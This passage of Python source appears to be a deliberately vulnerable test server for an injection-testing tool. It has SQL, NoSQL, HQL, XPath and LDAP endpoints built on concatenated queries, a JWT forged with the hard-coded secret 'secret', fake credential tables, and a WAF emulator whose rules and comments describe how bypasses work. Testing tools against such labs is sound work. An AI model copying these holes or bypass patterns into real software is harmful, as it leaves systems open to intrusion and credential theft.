'kid' into a SQL error (injectable key lookup). +JWT_SECRET = "secret" + +def _jwt_b64url(data): + return base64.urlsafe_b64encode(data).rstrip(b'=').decode() + +def _jwt_forge(header, payload, secret): + seg = lambda obj: _jwt_b64url(json.dumps(obj, separators=(',', ':')).encode(UNICODE_ENCODING)) + signingInput = "%s.%s" % (seg(header), seg(payload)) + signature = _jwt_b64url(hmac.new(secret.encode(UNICODE_ENCODING), signingInput.encode(UNICODE_ENCODING), hashlib.sha256).digest()) + return "%s.%s" % (signingInput, signature) + +def _jwt_parse(token): + try: + header, payload, signature = token.split('.') + pad = lambda value: value + '=' * (-len(value) % 4) + return json.loads(base64.urlsafe_b64decode(pad(header))), json.loads(base64.urlsafe_b64decode(pad(payload))), signature + except Exception: + return None + +JWT_TOKEN = _jwt_forge({"alg": "HS256", "typ": "JWT", "kid": "key1"}, {"user": "guest", "role": "user", "exp": 9999999999}, JWT_SECRET) + +if PY3: + from http.client import FORBIDDEN + from http.client import INTERNAL_SERVER_ERROR + from http.client import NOT_FOUND + from http.client import OK + from http.server import BaseHTTPRequestHandler + from http.server import HTTPServer + from socketserver import ThreadingMixIn + from urllib.parse import parse_qs + from urllib.parse import unquote_plus +else: + from BaseHTTPServer import BaseHTTPRequestHandler + from BaseHTTPServer import HTTPServer + from httplib import FORBIDDEN + from httplib import INTERNAL_SERVER_ERROR + from httplib import NOT_FOUND + from httplib import OK + from SocketServer import ThreadingMixIn + from urlparse import parse_qs + from urllib import unquote_plus + +SCHEMA = """ + CREATE TABLE users ( + id INTEGER, + name TEXT, + surname TEXT, + PRIMARY KEY (id) + ); + INSERT INTO users (id, name, surname) VALUES (1, 'luther', 'blisset'); + INSERT INTO users (id, name, surname) VALUES (2, 'fluffy', 'bunny'); + INSERT INTO users (id, name, surname) VALUES (3, 'wu', 'ming'); + INSERT INTO users (id, name, surname) VALUES (4, NULL, 'nameisnull'); + INSERT INTO users (id, name, surname) VALUES (5, 'mark', 'lewis'); + INSERT INTO users (id, name, surname) VALUES (6, 'ada', 'lovelace'); + INSERT INTO users (id, name, surname) VALUES (7, 'grace', 'hopper'); + INSERT INTO users (id, name, surname) VALUES (8, 'alan', 'turing'); + INSERT INTO users (id, name, surname) VALUES (9, 'margaret','hamilton'); + INSERT INTO users (id, name, surname) VALUES (10, 'donald', 'knuth'); + INSERT INTO users (id, name, surname) VALUES (11, 'tim', 'bernerslee'); + INSERT INTO users (id, name, surname) VALUES (12, 'linus', 'torvalds'); + INSERT INTO users (id, name, surname) VALUES (13, 'ken', 'thompson'); + INSERT INTO users (id, name, surname) VALUES (14, 'dennis', 'ritchie'); + INSERT INTO users (id, name, surname) VALUES (15, 'barbara', 'liskov'); + INSERT INTO users (id, name, surname) VALUES (16, 'edsger', 'dijkstra'); + INSERT INTO users (id, name, surname) VALUES (17, 'john', 'mccarthy'); + INSERT INTO users (id, name, surname) VALUES (18, 'leslie', 'lamport'); + INSERT INTO users (id, name, surname) VALUES (19, 'niklaus', 'wirth'); + INSERT INTO users (id, name, surname) VALUES (20, 'bjarne', 'stroustrup'); + INSERT INTO users (id, name, surname) VALUES (21, 'guido', 'vanrossum'); + INSERT INTO users (id, name, surname) VALUES (22, 'brendan', 'eich'); + INSERT INTO users (id, name, surname) VALUES (23, 'james', 'gosling'); + INSERT INTO users (id, name, surname) VALUES (24, 'andrew', 'tanenbaum'); + INSERT INTO users (id, name, surname) VALUES (25, 'yukihiro','matsumoto'); + INSERT INTO users (id, name, surname) VALUES (26, 'radia', 'perlman'); + INSERT INTO users (id, name, surname) VALUES (27, 'katherine','johnson'); + INSERT INTO users (id, name, surname) VALUES (28, 'hady', 'lamarr'); + INSERT INTO users (id, name, surname) VALUES (29, 'frank', 'miller'); + INSERT INTO users (id, name, surname) VALUES (30, 'john', 'steward'); + + CREATE TABLE creds ( + user_id INTEGER, + password_hash TEXT, + FOREIGN KEY (user_id) REFERENCES users(id) + ); + INSERT INTO creds (user_id, password_hash) VALUES (1, 'db3a16990a0008a3b04707fdef6584a0'); + INSERT INTO creds (user_id, password_hash) VALUES (2, '4db967ce67b15e7fb84c266a76684729'); + INSERT INTO creds (user_id, password_hash) VALUES (3, 'f5a2950eaa10f9e99896800eacbe8275'); + INSERT INTO creds (user_id, password_hash) VALUES (4, NULL); + INSERT INTO creds (user_id, password_hash) VALUES (5, '179ad45c6ce2cb97cf1029e212046e81'); + INSERT INTO creds (user_id, password_hash) VALUES (6, '0f1e2d3c4b5a69788796a5b4c3d2e1f0'); + INSERT INTO creds (user_id, password_hash) VALUES (7, 'a1b2c3d4e5f60718293a4b5c6d7e8f90'); + INSERT INTO creds (user_id, password_hash) VALUES (8, '1a2b3c4d5e6f708192a3b4c5d6e7f809'); + INSERT INTO creds (user_id, password_hash) VALUES (9, '9f8e7d6c5b4a3928170605f4e3d2c1b0'); + INSERT INTO creds (user_id, password_hash) VALUES (10, '3c2d1e0f9a8b7c6d5e4f30291807f6e5'); + INSERT INTO creds (user_id, password_hash) VALUES (11, 'b0c1d2e3f405162738495a6b7c8d9eaf'); + INSERT INTO creds (user_id, password_hash) VALUES (12, '6e5d4c3b2a190807f6e5d4c3b2a1908f'); + INSERT INTO creds (user_id, password_hash) VALUES (13, '11223344556677889900aabbccddeeff'); + INSERT INTO creds (user_id, password_hash) VALUES (14, 'ffeeddccbbaa00998877665544332211'); + INSERT INTO creds (user_id, password_hash) VALUES (15, '1234567890abcdef1234567890abcdef'); + INSERT INTO creds (user_id, password_hash) VALUES (16, 'abcdef1234567890abcdef1234567890'); + INSERT INTO creds (user_id, password_hash) VALUES (17, '0a1b2c3d4e5f60718a9b0c1d2e3f4051'); + INSERT INTO creds (user_id, password_hash) VALUES (18, '51f04e3d2c1b0a9871605f4e3d2c1b0a'); + INSERT INTO creds (user_id, password_hash) VALUES (19, '89abcdef0123456789abcdef01234567'); + INSERT INTO creds (user_id, password_hash) VALUES (20, '76543210fedcba9876543210fedcba98'); + INSERT INTO creds (user_id, password_hash) VALUES (21, '13579bdf2468ace013579bdf2468ace0'); + INSERT INTO creds (user_id, password_hash) VALUES (22, '02468ace13579bdf02468ace13579bdf'); + INSERT INTO creds (user_id, password_hash) VALUES (23, 'deadbeefdeadbeefdeadbeefdeadbeef'); + INSERT INTO creds (user_id, password_hash) VALUES (24, 'cafebabecafebabecafebabecafebabe'); + INSERT INTO creds (user_id, password_hash) VALUES (25, '00112233445566778899aabbccddeeff'); + INSERT INTO creds (user_id, password_hash) VALUES (26, 'f0e1d2c3b4a5968778695a4b3c2d1e0f'); + INSERT INTO creds (user_id, password_hash) VALUES (27, '7f6e5d4c3b2a190807f6e5d4c3b2a190'); + INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1'); + INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d'); + INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e'); + + CREATE TABLE directory ( + dn TEXT, + uid TEXT, + cn TEXT, + sn TEXT, + givenName TEXT, + displayName TEXT, + userPassword TEXT, + mail TEXT, + objectClass TEXT, + objectCategory TEXT, + ou TEXT, + title TEXT, + department TEXT, + company TEXT, + o TEXT, + telephoneNumber TEXT, + mobile TEXT, + manager TEXT, + description TEXT, + l TEXT, + st TEXT, + street TEXT, + postalCode TEXT, + c TEXT, + employeeNumber TEXT, + employeeType TEXT, + member TEXT + ); + -- Column order: dn, uid, cn, sn, givenName, displayName, userPassword, mail, + -- objectClass, objectCategory, ou, title, department, company, o, + -- telephoneNumber, mobile, manager, description, l, st, street, + -- postalCode, c, employeeNumber, employeeType, member + INSERT INTO directory VALUES ('uid=luther,ou=users,dc=example,dc=com', 'luther', 'Luther Blisset', 'Blisset', 'Luther', 'Luther Blisset', 'db3a16990a0008a3b04707fdef6584a0', 'luther@example.com', 'inetOrgPerson', 'Person', 'users', 'System Administrator', 'IT Operations', 'Example Corp', 'Example', '+1 555 0100', '+1 555 0101', 'uid=ada,ou=users,dc=example,dc=com', 'System administrator', 'London', 'Greater London', '10 Downing Street', 'SW1A 2AA', 'GB', '1001', 'Employee', NULL); + INSERT INTO directory VALUES ('uid=fluffy,ou=users,dc=example,dc=com', 'fluffy', 'Fluffy Bunny', 'Bunny', 'Fluffy', 'Fluffy Bunny', '4db967ce67b15e7fb84c266a76684729', 'fluffy@example.com', 'inetOrgPerson', 'Person', 'users', 'Security Engineer', 'Security', 'Example Corp', 'Example', '+1 555 0102', '+1 555 0103', NULL, 'Security engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=wu,ou=users,dc=example,dc=com', 'wu', 'Wu Ming', 'Ming', 'Wu', 'Wu Ming', 'f5a2950eaa10f9e99896800eacbe8275', 'wu@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=mark,ou=users,dc=example,dc=com', 'mark', 'Mark Lewis', 'Lewis', 'Mark', 'Mark Lewis', '179ad45c6ce2cb97cf1029e212046e81', 'mark@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Project manager', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=ada,ou=users,dc=example,dc=com', 'ada', 'Ada Lovelace', 'Lovelace', 'Ada', 'Ada Lovelace', '0f1e2d3c4b5a69788796a5b4c3d2e1f0', 'ada@example.com', 'inetOrgPerson', 'Person', 'users', 'Mathematician', 'Research', 'Example Corp', 'Example', '+1 555 0104', NULL, NULL, 'Mathematician', 'Cambridge', NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=grace,ou=users,dc=example,dc=com', 'grace', 'Grace Hopper', 'Hopper', 'Grace', 'Grace Hopper', 'a1b2c3d4e5f60718293a4b5c6d7e8f90', 'grace@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=alan,ou=users,dc=example,dc=com', 'alan', 'Alan Turing', 'Turing', 'Alan', 'Alan Turing', '1a2b3c4d5e6f708192a3b4c5d6e7f809', 'alan@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Cryptanalyst', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=margaret,ou=users,dc=example,dc=com', 'margaret', 'Margaret Hamilton', 'Hamilton', 'Margaret', 'Margaret Hamilton', '9f8e7d6c5b4a3928170605f4e3d2c1b0', 'margaret@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Software engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=donald,ou=users,dc=example,dc=com', 'donald', 'Donald Knuth', 'Knuth', 'Donald', 'Donald Knuth', '3c2d1e0f9a8b7c6d5e4f30291807f6e5', 'donald@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=tim,ou=users,dc=example,dc=com', 'tim', 'Tim Berners-Lee', 'Berners-Lee', 'Tim', 'Tim Berners-Lee', 'b0c1d2e3f405162738495a6b7c8d9eaf', 'tim@example.com', 'inetOrgPerson', 'Person', 'users', 'Inventor', 'Research', 'Example Corp', 'Example', '+1 555 0105', NULL, NULL, 'Inventor of the Web', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=linus,ou=users,dc=example,dc=com', 'linus', 'Linus Torvalds', 'Torvalds', 'Linus', 'Linus Torvalds', '6e5d4c3b2a190807f6e5d4c3b2a1908f', 'linus@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Kernel developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=ken,ou=users,dc=example,dc=com', 'ken', 'Ken Thompson', 'Thompson', 'Ken', 'Ken Thompson', '11223344556677889900aabbccddeeff', 'ken@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Unix co-creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=dennis,ou=users,dc=example,dc=com', 'dennis', 'Dennis Ritchie', 'Ritchie', 'Dennis', 'Dennis Ritchie', 'ffeeddccbbaa00998877665544332211', 'dennis@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'C language creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=barbara,ou=users,dc=example,dc=com', 'barbara', 'Barbara Liskov', 'Liskov', 'Barbara', 'Barbara Liskov', '1234567890abcdef1234567890abcdef', 'barbara@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Turing Award winner', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=edsger,ou=users,dc=example,dc=com', 'edsger', 'Edsger Dijkstra', 'Dijkstra', 'Edsger', 'Edsger Dijkstra', 'abcdef1234567890abcdef1234567890', 'edsger@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('ou=users,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'User accounts', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('ou=groups,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'groups', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Group entries', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=luther,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=ada,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=wu,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=linus,ou=users,dc=example,dc=com'); +""" + +LISTEN_ADDRESS = "localhost" +LISTEN_PORT = 8440 + +# Minimal MongoDB-style collection backing the NoSQL operator-injection endpoint ('/nosql'). The +# 'password' field is the blind-extraction target, constrained by a sibling 'name' equality match. +NOSQL_USERS = { + "luther": "s3cr3t", + "fluffy": "carrot", + "wu": "shanghai", +} + +def nosql_match(params): + """Emulates a MongoDB find() on NOSQL_USERS: reconstructs the operator object for the 'password' + field (from bracket-notation 'password[$ne]=...' or a JSON sub-document) and evaluates it against + the record selected by 'name'. An invalid $regex raises re.error (surfaced as a driver error).""" + + record = NOSQL_USERS.get(params.get("name")) + + spec = params.get("password") + if isinstance(spec, dict): + op, value = next(iter(spec.items()), ("$eq", None)) + else: + op, value = "$eq", spec + for key in params: + match = re.match(r"^password\[(\$\w+)\](?:\[\])?$", key) + if match: + op, value = match.group(1), params[key] + break + + if isinstance(value, (tuple, list)): + value = value[-1] if value else None + + if record is None: + return False + elif op == "$ne": + return record != value + elif op == "$gt": + return record > (value or "") + elif op == "$regex": + return re.search(value, record) is not None + else: # $eq, $in (single-valued here) and any literal equality + return record == value + +# --- HQL endpoint (vulnerable Hibernate ORM search over a single mapped entity) ------------------- +# The query "FROM Users u WHERE u.name = ''" is built by string concatenation; the evaluator +# below reproduces just enough HQL semantics (boolean logic, EXISTS, scalar sub-queries, path +# resolution) to make sqlmap's --hql engine detect, fingerprint, leak the entity, enumerate mapped +# attributes and blindly extract their values. Unlike the local Hibernate lab, this endpoint reflects +# the parser diagnostic, so it also exercises the error-based entity-leak path. + +HQL_ENTITY = "org.vulnserver.model.Users" +HQL_RECORD = {"id": "1", "name": "admin", "password": "s3cr3t", "role": "administrator", "email": "admin@vulnserver.local"} + + +class _HqlError(Exception): + pass + + +def _hql_short(name): + return re.split(r"[.$]", name)[-1] + + +def _hql_no_row(atom): + """True when a row-walk bound "_h2. > " excludes the only record, so the + scalar sub-query resolves to NULL and its comparison is false.""" + + match = re.search(r"_h2\.\w+>(\d+)", atom) + return bool(match) and int(HQL_RECORD["id"]) <= int(match.group(1)) + + +def _hql_atom(atom): + atom = atom.strip() + + match = re.match(r"^'([^']*)'\s*=\s*'([^']*)'$", atom) # literal '1'='1' + if match: + return match.group(1) == match.group(2) + + match = re.match(r"^(\d+)\s*=\s*(\d+)$", atom) # numeric literal 1=1 / 1=2 + if match: + return match.group(1) == match.group(2) + + match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X' + if match: + return HQL_RECORD["name"] == match.group(1) + + match = re.match(r"^EXISTS\(SELECT 1 FROM (\w+) _h\)$", atom, re.I) # entity brute + if match: + if _hql_short(match.group(1)) != _hql_short(HQL_ENTITY): + raise _HqlError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity '%s'" % match.group(1)) + return True + + match = re.match(r"^EXISTS\(SELECT _h\.(\w+) FROM (\w+) _h\)$", atom, re.I) # attribute existence + if match: + attr = match.group(1) + if _hql_short(match.group(2)) != _hql_short(HQL_ENTITY) or attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + return True + + match = re.match(r"^\(SELECT LENGTH\(CAST\(_h\.(\w+) AS string\)\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar length + if match: + attr, n = match.group(1), int(match.group(2)) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + if _hql_no_row(atom): # row-walk cursor advanced past the only record + return False + return len(HQL_RECORD[attr]) >= n + + match = re.match(r"^\(SELECT LOCATE\(SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar char (LOCATE index) + if match: + attr, pos, literal, n = match.group(1), int(match.group(2)), match.group(3), int(match.group(4)) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + if _hql_no_row(atom): + return False + value = HQL_RECORD[attr] + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 # 1-based, 0 if absent + return index >= n + + match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak) + if match: + attr = match.group(1) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + return HQL_RECORD[attr] is not None + + raise _HqlError("org.hibernate.query.SyntaxException: unexpected token near '%s'" % atom[:24]) + + +def hql_evaluate(value): + """Evaluate "name = ''" as an HQL boolean; returns True/False or raises _HqlError.""" + + clause = "name = '%s'" % value + return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR ")) + +# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------ + +XPATH_XML = """ + + + + luther + Luther Blisset + luther@example.com + db3a16990a0008a3b04707fdef6584a0 + System Administrator + London + +1 555 0100 + + + fluffy + Fluffy Bunny + fluffy@example.com + 4db967ce67b15e7fb84c266a76684729 + Security Engineer + Amsterdam + +1 555 0102 + + + wu + Wu Ming + wu@example.com + f5a2950eaa10f9e99896800eacbe8275 + Network Administrator + Shanghai + +86 21 555 0103 + + + + + linus + Linus Torvalds + linus@example.com + 8e7b6a5c4d321908f7e6d5c4b3a2910f + Kernel Developer + Portland + +1 555 0200 + + + ada + Ada Lovelace + ada@example.com + 1a2b3c4d5e6f7081920a1b2c3d4e5f60 + Algorithm Designer + London + +44 20 555 0201 + + + + + grace + Grace Hopper + grace@example.com + 9e8d7c6b5a493827160e9d8c7b6a5948 + CTO + New York + +1 555 0300 + + +""" + +def _xpath_element_to_dict(el): + """Convert an lxml element to a dict for JSON serialization.""" + retVal = dict(el.attrib) + retVal["tag"] = el.tag + retVal["text"] = (el.text or "").strip() + children = [] + for child in el: + children.append(_xpath_element_to_dict(child)) + if children: + retVal["children"] = children + return retVal + +_conn = None +_cursor = None +_lock = None +_server = None +_alive = False +_csrf_token = None +_ratelimit_hits = 0 + +# number of initial hits to '/ratelimit' answered with 429 before it behaves normally +RATELIMIT_INITIAL_429 = 1 + +def init(quiet=False): + global _conn + global _cursor + global _lock + global _csrf_token + + _csrf_token = "".join(random.sample(string.ascii_letters + string.digits, 20)) + + _conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) + _cursor = _conn.cursor() + _lock = threading.Lock() + + _cursor.executescript(SCHEMA) + + if quiet: + global print + + def _(*args, **kwargs): + pass + + print = _ + +class ThreadingServer(ThreadingMixIn, HTTPServer): + def finish_request(self, *args, **kwargs): + try: + HTTPServer.finish_request(self, *args, **kwargs) + except Exception: + if DEBUG: + traceback.print_exc() + +# Primitive (CRS-style) WAF/IPS emulator used to exercise the automatic WAF/IPS bypass. The request +# surface is normalized like a real WAF (lowercase, comments->space, whitespace compressed) BEFORE +# a cumulative anomaly score is summed; when the score reaches the per-level threshold the request +# is blocked (403 + marker). The rules are shaped so that camouflage tampers (case/whitespace/ +# comments) are normalized away and a *structural* substitution (e.g. 'between'/'equaltolike', +# which removes the scored '=' operator) is the genuine bypass - matching real-world behavior. +# +# The emulator also models the OTHER real-world dimension: a scanner-fingerprint rule (mirroring +# CRS 913100) adds a constant score for a recognizable scanner User-Agent that *stacks* with the +# payload score. Its weight is below every threshold, so the scanner UA alone never blocks (benign +# browsing passes), but it tips an otherwise-permitted payload over the threshold - so neutralizing +# the request fingerprint (a non-scanner User-Agent) is itself a genuine bypass, with no SQL tamper. +WAF_NUMERIC_COMPARISON = r"\d+\s*=\s*\d+" # numeric self-comparison (boolean payloads); the structural lever 'between'/'equaltolike' removes it +WAF_RULES = ( + (r"\bunion\b.{0,40}\bselect\b", 6), + (r"\binformation_schema\b", 5), + (r"\b(sleep|benchmark|extractvalue|updatexml|xp_cmdshell|waitfor)\b", 5), + (r"\b(select|insert|update|delete|drop)\b", 3), + (WAF_NUMERIC_COMPARISON, 4), + (r" cumulative score that triggers a block +WAF_SCANNER_UA = r"(?i)\b(?:sqlmap|nikto|nessus|acunetix|nmap|masscan|w3af|havij|wpscan|dirbuster|arachni)\b" +WAF_SCANNER_UA_WEIGHT = 3 # CRS 913100-style: constant score for a scanner User-Agent, stacked with the payload score + +# Levels 4-5 model a libinjection-class WAF (e.g. OWASP CRS rule 942100): ANY boolean-comparison +# fingerprint scores a flat amount REGARDLESS of operator, so '=','LIKE','BETWEEN','IN' are all +# caught equally - structural tampers (between/equaltolike) do NOT help. There, neutralizing the +# scanner fingerprint is the only payload-preserving bypass (level 4); when even that is not enough +# the search must bail honestly (level 5). This mirrors the hardest real-world case. +WAF_LIBINJECTION_LEVELS = (4, 5) +WAF_LIBINJECTION_WEIGHT = 5 +WAF_LIBINJECTION = r"(?i)\b(?:and|or)\b.{0,40}(?:=|>|<|\blike\b|\bbetween\b|\bin\b|\brlike\b|\bregexp\b)" + +def waf_score(value, ua=None, level=0): + value = (value or "").lower() + value = re.sub(r"/\*.*?\*/", " ", value) # t:replaceComments (note: -> single space, not empty) + value = re.sub(r"(?:--|#)[^\n]*", " ", value) # t:removeComments (line comments) + value = re.sub(r"\s+", " ", value) # t:compressWhitespace + libinjection = level in WAF_LIBINJECTION_LEVELS + retVal = sum(weight for (pattern, weight) in WAF_RULES if not (libinjection and pattern == WAF_NUMERIC_COMPARISON) and re.search(pattern, value)) + if libinjection and re.search(WAF_LIBINJECTION, value): # operator-agnostic comparison score (tampers cannot remove it) + retVal += WAF_LIBINJECTION_WEIGHT + if ua and re.search(WAF_SCANNER_UA, ua): # scanner-fingerprint score, stacked with the payload score + retVal += WAF_SCANNER_UA_WEIGHT + return retVal + +# --- LDAP endpoint (vulnerable search and login, backed by the directory table) ------------------ + +def _ldap_escape_like(value): + """Escape a value for safe embedding in a SQLite LIKE pattern: backslash, percent, + and underscore are the only characters with special meaning in LIKE.""" + if value is None: + return None + return value.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_') + +def _ldap_attr(attr): + """Map an LDAP attribute name to the directory table column, or None if unknown.""" + valid = {"dn", "uid", "cn", "sn", "givenName", "displayName", "userPassword", "mail", "objectClass", "objectCategory", "ou", "title", "department", "company", "o", "telephoneNumber", "mobile", "manager", "description", "l", "st", "street", "postalCode", "c", "employeeNumber", "employeeType", "member"} + return attr if attr in valid else None + +def _ldap_match(text, start): + """Find the closing ')' that balances the opening '(' at `start`. Skip escaped + hex sequences (e.g. \\28 for literal '(' inside a value) but treat every raw ')' + as a structural closer.""" + depth = 0 + i = start + while i < len(text): + ch = text[i] + if ch == '(': + depth += 1 + elif ch == ')': + depth -= 1 + if depth == 0: + return i + 1 + elif ch == '\\': + i += 1 + i += 1 + return len(text) + +def _ldap_parse_value(text, start): + """Parse an assertion value from filter text at position `start`, handling escape sequences. + Returns (value, end_pos).""" + retVal = [] + i = start + while i < len(text) and text[i] not in (')',): + if text[i] == '\\' and i + 2 < len(text): + retVal.append(chr(int(text[i+1:i+3], 16))) + i += 3 + else: + retVal.append(text[i]) + i += 1 + return ''.join(retVal), i + +def _ldap_filter_to_sql(text, start=0): + """Convert an LDAP filter substring starting at `start` to a parameterized + SQLite WHERE clause. Returns (sql_template, params, end_pos) or (None, [], end_pos) + on parse failure. Values are passed as parameters so that user-controlled + characters (apostrophe, backslash, etc.) cannot break the SQL string literal.""" + + if start >= len(text) or text[start] != '(': + return None, [], start + + i = start + 1 + if i >= len(text): + return None, [], start + + op = text[i] + i += 1 + + if op in ('&', '|'): + # Compound filter: collect all sub-filters + sub_clauses = [] + sub_params = [] + while i < len(text) and text[i] == '(': + clause, params, i = _ldap_filter_to_sql(text, i) + if clause: + sub_clauses.append(clause) + sub_params.extend(params) + # Always use bracket-matched end so nested compounds don't shift the + # parent's notion of where this child ends (reviewer blocker 3) + end = _ldap_match(text, start) + if not sub_clauses: + return None, [], end + if len(sub_clauses) == 1: + return sub_clauses[0], sub_params, end + joiner = " AND " if op == '&' else " OR " + return "(%s)" % joiner.join(sub_clauses), sub_params, end + + elif op == '!': + # NOT filter + clause, params, i = _ldap_filter_to_sql(text, i) + end = _ldap_match(text, start) + if clause: + return "(NOT (%s))" % clause, params, end + return None, [], end + + else: + # Simple filter: attr OP value + # Re-read from start+1 to get the full attr name + j = start + 1 + while j < len(text) and text[j] not in ('=', '>', '<', '~', ')'): + j += 1 + attr = text[start+1:j].strip() + if not attr: + return None, [], _ldap_match(text, start) + + col = _ldap_attr(attr) + if col is None: + return None, [], _ldap_match(text, start) + + if j >= len(text): + return None, [], start + + # Check for approx match (~=) + if text[j] == '~' and j + 1 < len(text) and text[j+1] == '=': + op_type = '~=' + j += 2 + elif text[j] == '>' and j + 1 < len(text) and text[j+1] == '=': + op_type = '>=' + j += 2 + elif text[j] == '<' and j + 1 < len(text) and text[j+1] == '=': + op_type = '<=' + j += 2 + elif text[j] == '=': + op_type = '=' + j += 1 + else: + return None, [], _ldap_match(text, start) + + value, _ = _ldap_parse_value(text, j) + end = _ldap_match(text, start) + + if op_type == '=': + if value == '*': + return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end + elif '*' in value: + parts = value.split('*') + if len(parts) == 2 and not parts[0] and not parts[1]: + # Just '*' -> presence + return "(%s IS NOT NULL AND %s != '')" % (col, col), [], end + elif len(parts) == 2 and parts[0] and not parts[1]: + # 'prefix*' -> anchored prefix match (LDAP semantics) + return "(%s LIKE ? ESCAPE '\\')" % col, ["%s%%" % _ldap_escape_like(parts[0])], end + elif len(parts) == 2 and not parts[0] and parts[1]: + # '*suffix' -> anchored suffix match (LDAP semantics) + return "(%s LIKE ? ESCAPE '\\')" % col, ["%%%s" % _ldap_escape_like(parts[1])], end + else: + # '*mid*', 'pre*mid*suf', etc. -- split('*') already + # partitions the value into literal segments; joining + # them with '%' naturally produces the correct anchored + # LIKE 